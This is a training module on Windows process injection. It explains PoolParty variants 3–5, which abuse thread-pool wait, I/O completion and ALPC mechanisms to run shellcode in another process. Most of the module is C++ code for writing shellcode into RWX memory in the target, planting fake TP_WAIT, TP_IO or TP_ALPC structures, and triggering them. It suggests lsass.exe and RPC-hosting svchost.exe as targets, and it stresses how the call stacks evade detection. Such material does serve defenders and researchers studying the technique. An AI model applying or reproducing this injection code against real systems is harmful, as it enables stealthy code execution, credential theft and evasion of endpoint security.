Module 5: Wait, I/O & ALPC Variants
PoolParty Variants 3–5: TP_WAIT insertion with event signaling, TP_IO exploitation via NtSetIoCompletion, and TP_ALPC port abuse for callback triggering.
Module Objective
Understand how PoolParty Variant 3 injects a crafted TP_WAIT item into the target process and signals its wait object to trigger callback execution, how Variant 4 exploits the I/O completion mechanism by posting a fake I/O completion to the pool’s IOCP via NtSetIoCompletion, and how Variant 5 abuses ALPC ports bound to the thread pool to trigger callback execution by sending an ALPC message.
1. Variant 3: TP_WAIT Insertion
The Windows thread pool supports wait callbacks: a function is called when a kernel object (event, semaphore, mutex, process handle) becomes signaled. Internally, the wait subsystem uses NtWaitForMultipleObjects in a dedicated waiter thread to monitor registered objects.
| Component | Description |
|---|---|
| TP_WAIT | Structure representing a registered wait callback |
| WaitObject | The kernel handle being waited on |
| Waiter Thread | Dedicated thread calling NtWaitForMultipleObjects |
| Dispatch | When the object signals, callback is posted to IOCP |
Variant 3 creates a TP_WAIT structure in the target process with the callback pointing to shellcode, creates a shared event handle in the target, registers the wait, and then signals the event from the attacking process. This triggers the waiter thread to dispatch the callback.
Variant 3 Attack Flow
In target process
Callback = shellcode
TpSetWait on event
From attacker
Via worker thread
1.1 Implementation
C++// Variant 3: TP_WAIT Insertion
// Step 1: Allocate and write shellcode
LPVOID remoteShellcode = VirtualAllocEx(hProcess, NULL,
shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteShellcode, shellcode,
shellcodeSize, NULL);
// Step 2: Create an event in the target process
// We create it in our process and duplicate into target
HANDLE localEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
HANDLE remoteEvent;
DuplicateHandle(GetCurrentProcess(), localEvent,
hProcess, &remoteEvent,
0, FALSE, DUPLICATE_SAME_ACCESS);
// Step 3: Craft a TP_WAIT structure
TP_WAIT fakeWait = { 0 };
fakeWait.Task.WorkCallback = (PTP_WORK_CALLBACK)remoteShellcode;
fakeWait.Task.Context = NULL;
fakeWait.Pool = (PTP_POOL)targetPoolPtr;
fakeWait.WaitObject = remoteEvent;
// Step 4: Write the fake wait item into target
LPVOID remoteWait = VirtualAllocEx(hProcess, NULL,
sizeof(TP_WAIT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, remoteWait, &fakeWait,
sizeof(TP_WAIT), NULL);
// Step 5: Insert into the pool's wait list
InsertWaitIntoTargetList(hProcess, targetPoolPtr, remoteWait);
// Step 6: Signal the event to trigger the callback
// The waiter thread detects the signal and dispatches
SetEvent(localEvent);
// OR use NtSignalAndWaitForSingleObject for atomicity
1.2 Using NtSignalAndWaitForSingleObject
For more precise control, PoolParty can use NtSignalAndWaitForSingleObject to atomically signal the event and wait for a confirmation that the callback has been dispatched:
C++// Atomic signal-and-wait for precise triggering
HANDLE hConfirmEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
NtSignalAndWaitForSingleObject(
localEvent, // Signal this (triggers the TP_WAIT callback)
hConfirmEvent, // Wait on this (confirmation from shellcode)
FALSE, // Not alertable
NULL // No timeout
);
2. Variant 4: TP_IO Insertion
The Windows thread pool can manage asynchronous I/O callbacks. When an application binds a file handle to the thread pool, I/O completions on that handle are automatically dispatched as callbacks on worker threads. Variant 4 exploits this by posting a fake I/O completion packet directly to the IOCP.
Normal TP_IO Flow
Bind file to pool
ReadFile / WriteFile
Kernel posts to IOCP
Worker thread
Variant 4 does not actually need a real file handle or a real I/O operation. Because the thread pool dispatches I/O callbacks based on completion packets arriving at the IOCP, the attacker can simply post a fake I/O completion packet directly to the IOCP. The worker thread cannot distinguish this from a real I/O completion.
Variant 4 Attack Flow
+ craft TP_IO
NtSetIoCompletion
Thinks I/O completed
Shellcode runs
2.1 Implementation
C++// Variant 4: TP_IO via NtSetIoCompletion
// Step 1: Allocate and write shellcode in target
LPVOID remoteShellcode = VirtualAllocEx(hProcess, NULL,
shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteShellcode, shellcode,
shellcodeSize, NULL);
// Step 2: Craft a TP_IO structure in the target process
TP_IO fakeIo = { 0 };
fakeIo.Task.WorkCallback = (PTP_WORK_CALLBACK)remoteShellcode;
fakeIo.Task.Context = NULL;
fakeIo.Pool = (PTP_POOL)targetPoolPtr;
fakeIo.PendingCount = 1; // Simulate one pending operation
LPVOID remoteIo = VirtualAllocEx(hProcess, NULL,
sizeof(TP_IO), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, remoteIo, &fakeIo,
sizeof(TP_IO), NULL);
// Step 3: Duplicate the target's IOCP into our process
HANDLE localIocp;
DuplicateHandle(hProcess, targetIocpHandle,
GetCurrentProcess(), &localIocp,
0, FALSE, DUPLICATE_SAME_ACCESS);
// Step 4: Post a fake I/O completion packet
// The CompletionKey encodes the TP_IO pointer
// The worker thread will extract it and call the callback
NtSetIoCompletion(
localIocp,
(ULONG_PTR)remoteIo, // CompletionKey = TP_IO pointer
NULL, // ApcContext (overlapped)
STATUS_SUCCESS, // IoStatusBlock.Status
0 // IoStatusBlock.Information
);
// A worker thread wakes, decodes the TP_IO from CompletionKey,
// and calls fakeIo.Task.WorkCallback = our shellcode
Variant 4 Elegance
This variant is remarkably clean: NtSetIoCompletion is a common, legitimate API called millions of times per second across the system. It is used by every application that performs async I/O. Posting a single completion packet is an operation with zero suspicious characteristics, yet it achieves code execution in the target process.
3. Variant 5: TP_ALPC Insertion
Advanced Local Procedure Call (ALPC) is the primary inter-process communication mechanism in Windows. Many Windows services expose ALPC ports that client processes connect to. The thread pool can be bound to an ALPC port, so incoming ALPC messages automatically trigger callbacks on worker threads.
| ALPC Component | Description |
|---|---|
| ALPC Port | Kernel object for IPC; server creates a connection port, clients connect to get communication ports |
| TP_ALPC | Thread pool structure binding an ALPC port to a callback |
| TpAllocAlpcCompletion | Internal API to bind an ALPC port to the thread pool |
| Message dispatch | Incoming ALPC messages trigger the registered callback via IOCP |
Variant 5 finds an ALPC port in the target process that is bound to the thread pool, then sends an ALPC message to that port. The arrival of the message triggers the TP_ALPC callback dispatch. The attacker replaces the callback with shellcode before sending the message.
Variant 5 Attack Flow
Handle enumeration
+ modify TP_ALPC
NtAlpcConnectPort
NtAlpcSendWaitReceivePort
Shellcode runs
3.1 Finding the Target ALPC Port
C++// Variant 5: ALPC Port Discovery
// ALPC ports that are bound to the thread pool have their
// CompletionPort set to the pool's IOCP. We can find them
// by enumerating handles and checking the ALPC association.
for (ULONG i = 0; i < handleInfo->NumberOfHandles; i++) {
SYSTEM_HANDLE_TABLE_ENTRY_INFO entry = handleInfo->Handles[i];
if (entry.UniqueProcessId != targetPid) continue;
if (entry.ObjectTypeIndex != alpcPortTypeIndex) continue;
// Duplicate and query the ALPC port
HANDLE dupPort;
DuplicateHandle(hProcess, (HANDLE)(ULONG_PTR)entry.HandleValue,
GetCurrentProcess(), &dupPort,
0, FALSE, DUPLICATE_SAME_ACCESS);
// Check if this ALPC port is associated with the pool's IOCP
ALPC_COMPLETION_PORT_INFORMATION acpi;
NtAlpcQueryInformation(dupPort,
AlpcAssociateCompletionPortInformation,
&acpi, sizeof(acpi), NULL);
if (acpi.CompletionPort == targetIocpHandle) {
// This ALPC port is bound to the thread pool
targetAlpcPort = dupPort;
targetAlpcCompletionKey = acpi.CompletionKey;
break;
}
}
3.2 Overwriting the TP_ALPC Callback and Triggering
C++// Step 1: Allocate and write shellcode
LPVOID remoteShellcode = VirtualAllocEx(hProcess, NULL,
shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteShellcode, shellcode,
shellcodeSize, NULL);
// Step 2: Overwrite the TP_ALPC callback pointer with shellcode address
PVOID callbackAddr = &((PTP_ALPC)targetAlpcCompletionKey)->Task.WorkCallback;
WriteProcessMemory(hProcess, callbackAddr,
&remoteShellcode, sizeof(PVOID), NULL);
// Step 3: Connect to the target's ALPC port and send a message
HANDLE clientPort = NULL;
ALPC_PORT_ATTRIBUTES portAttrs = { 0 };
portAttrs.MaxMessageLength = sizeof(PORT_MESSAGE) + 0x100;
SIZE_T bufLen = sizeof(PORT_MESSAGE);
PORT_MESSAGE connectMsg = { 0 };
connectMsg.u1.s1.TotalLength = (USHORT)bufLen;
connectMsg.u1.s1.DataLength = 0;
NtAlpcConnectPort(
&clientPort, &targetPortName, NULL, &portAttrs,
0, NULL, &connectMsg, &bufLen, NULL, NULL, NULL);
// Send a message to trigger the callback
PORT_MESSAGE sendMsg = { 0 };
sendMsg.u1.s1.TotalLength = sizeof(PORT_MESSAGE);
sendMsg.u1.s1.DataLength = 0;
NtAlpcSendWaitReceivePort(clientPort, 0, &sendMsg,
NULL, NULL, NULL, NULL, NULL);
// The ALPC message arrival causes the kernel to post a
// completion packet to the pool's IOCP, which wakes a
// worker thread that calls our modified callback = shellcode
Variant 5 Limitation
Not all processes have ALPC ports bound to their thread pools. This variant is most effective against RPC server processes (like svchost.exe hosting RPC services, lsass.exe, etc.) that naturally use ALPC for client communication. Variant 4 is more universally applicable since every thread pool has an IOCP.
4. Comparison: Variants 3, 4, and 5
| Property | Variant 3 (TP_WAIT) | Variant 4 (TP_IO) | Variant 5 (TP_ALPC) |
|---|---|---|---|
| Trigger | Event signal | Post fake IOCP packet | Send ALPC message |
| Key API | SetEvent / NtSignalAndWaitForSingleObject | NtSetIoCompletion | NtAlpcSendWaitReceivePort |
| Prerequisite | Duplicated event handle | Know the target’s IOCP handle | Find ALPC port bound to pool |
| Applicability | Any process with a thread pool | Any process with a thread pool | Only processes with ALPC-bound pools (RPC servers) |
| Dispatch path | Waiter thread → IOCP → worker | Direct IOCP post → worker | ALPC → IOCP → worker |
| Stealth | Wait callbacks are ubiquitous | NtSetIoCompletion is extremely common | ALPC connections are common for IPC |
5. Why These Variants Evade Detection
Clean Execution Context
When a wait, I/O, or ALPC callback fires through the thread pool, the resulting call stack is indistinguishable from legitimate application behavior:
- The thread is a standard worker thread started by
TppWorkerThread - The callback dispatch goes through the documented
TppWaitpExecuteCallback,TppIopExecuteCallback, orTppAlpcpExecuteCallbackpath - No
CreateRemoteThread, noQueueUserAPC, no suspicious API in the stack - The triggering APIs (
SetEvent,NtSetIoCompletion,NtAlpcSendWaitReceivePort) are common, high-volume operations
Legitimate Call Stack Example
Call Stackshellcode!main ; Our code - looks like a callback
ntdll!TppWorkpExecuteCallback+0x131
ntdll!TppWorkerThread+0x69f
kernel32!BaseThreadInitThunk+0x14
ntdll!RtlUserThreadStart+0x21
This call stack is identical to any legitimate thread pool callback. There is no indicator that the callback was injected rather than registered by the application itself.
Knowledge Check
Q1: How does the attacker trigger execution in Variant 3 (TP_WAIT)?
Q2: What makes NtSetIoCompletion (Variant 4) particularly effective for injection?
Q3: What type of processes are most suitable targets for Variant 5 (TP_ALPC)?